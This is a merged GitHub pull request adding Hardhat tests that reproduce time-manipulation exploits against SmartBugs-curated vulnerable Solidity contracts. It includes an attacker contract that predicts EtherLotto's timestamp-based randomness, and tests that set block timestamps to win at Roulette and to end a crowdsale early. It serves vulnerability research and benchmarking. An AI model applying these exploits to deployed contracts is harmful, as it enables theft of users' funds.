Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add tests simulating sb-curated time manipulation attacks #22

Merged
merged 5 commits into from
Sep 5, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
pragma solidity ^0.4.15;

import "../dataset/time_manipulation/ether_lotto.sol";

contract EtherLottoAttacker {
EtherLotto public target;

function EtherLottoAttacker(address _target) public {
target = EtherLotto(_target);
}

function play() payable returns (bool) {
uint random = uint(sha3(block.timestamp)) % 2;
if (random == 0) {
target.play.value(msg.value)();
return true;
}
msg.sender.transfer(msg.value);
return false;
}

function() payable {}
}
1 change: 1 addition & 0 deletions smartbugs-curated/0.4.x/hardhat.config.js
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,7 @@ module.exports = {
},
networks: {
hardhat: {
initialDate: "2018-12-31 11:59:00 PM",
hardfork: "shanghai",
}
}
Expand Down
49 changes: 49 additions & 0 deletions smartbugs-curated/0.4.x/test/time_manipulation/ether_lotto_test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers');
const { expect } = require('chai');

describe('attack time_manipulation/ether_lotto.sol', function () {
let owner, sig1;
async function deployContracts() {
[owner, sig1] = await ethers.getSigners();

const EtherLotto = await ethers.getContractFactory('contracts/dataset/time_manipulation/ether_lotto.sol:EtherLotto');
const victim = await EtherLotto.connect(owner).deploy();

const EtherLottoAttacker = await ethers.getContractFactory('contracts/time_manipulation/ether_lotto_attack.sol:EtherLottoAttacker');
const attacker = await EtherLottoAttacker.deploy(victim.target);
await attacker.waitForDeployment();

return {victim, attacker};
}


it('exploit time manipulation vulnerability', async function () {
const {victim, attacker} = await loadFixture(deployContracts);

const victimBalanceBefore = await ethers.provider.getBalance(victim.target);
expect(victimBalanceBefore).to.equal(0);

const attackerBalanceBefore = await ethers.provider.getBalance(attacker.target);
expect(attackerBalanceBefore).to.equal(0);

const sigBalance = await ethers.provider.getBalance(sig1.address);
const tx = await victim.connect(sig1).play({value: 10});
const receipt = await tx.wait();
const sigBalanceAfter = await ethers.provider.getBalance(sig1.address);
const net = sigBalanceAfter - sigBalance + receipt.gasUsed * receipt.gasPrice;

let attackerBalance = attackerBalanceBefore;

while (attackerBalance == 0) {
await attacker.play({value: 10});
attackerBalance = await ethers.provider.getBalance(attacker.target);
}
if (net == -10n) {
expect(attackerBalance).to.equal(19);
}
else {
expect(attackerBalance).to.equal(9);
}

});
});
43 changes: 43 additions & 0 deletions smartbugs-curated/0.4.x/test/time_manipulation/roulette_test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
const { loadFixture, time } = require('@nomicfoundation/hardhat-network-helpers');
const { expect } = require('chai');

describe('attack time_manipulation/roulette.sol', function () {
let owner, sig1, amount;
async function deployContracts() {
[owner, sig1] = await ethers.getSigners();

amount = ethers.parseEther("10");

const Roulette = await ethers.getContractFactory('contracts/dataset/time_manipulation/roulette.sol:Roulette');
const victim = await Roulette.connect(owner).deploy({value: amount});

return {victim};
}


it('exploit time manipulation vulnerability', async function () {
const {victim} = await loadFixture(deployContracts);
const victimBalanceBefore = await ethers.provider.getBalance(victim.target);
expect(victimBalanceBefore).to.equal(amount);

const sig1BalanceBefore = await ethers.provider.getBalance(sig1.address);

const blockBefore = await ethers.provider.getBlock();
const timestampBefore = blockBefore.timestamp;


const next = timestampBefore + 15 -(timestampBefore % 15);

await time.setNextBlockTimestamp(next);

const tx = await sig1.sendTransaction({
to: victim.target,
value: amount
});

const receipt = await tx.wait();

const sig1Balance = await ethers.provider.getBalance(sig1.address);
expect(sig1Balance).to.equal(sig1BalanceBefore - receipt.gasUsed * receipt.gasPrice + amount);
});
});
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
const { loadFixture, time, mine } = require('@nomicfoundation/hardhat-network-helpers');
const { expect } = require('chai');

describe('attack time_manipulation/timed_crowdsale.sol', function () {
async function deployContracts() {
const TimedCrowdsale = await ethers.getContractFactory('contracts/dataset/time_manipulation/timed_crowdsale.sol:TimedCrowdsale');
const victim = await TimedCrowdsale.deploy();

return {victim};
}


it('exploit time manipulation vulnerability', async function () {
await hre.network.provider.send("hardhat_reset");
const {victim} = await loadFixture(deployContracts);

const saleEndTimestamp = 1546300800;

// // Fast forward time to January 1, 2019 (just after sale end)
await time.setNextBlockTimestamp(saleEndTimestamp);
await mine(1);

// // The sale should now be finished due to the time manipulation
const saleFinished = await victim.isSaleFinished();
expect(saleFinished).to.be.true;
});
});
Loading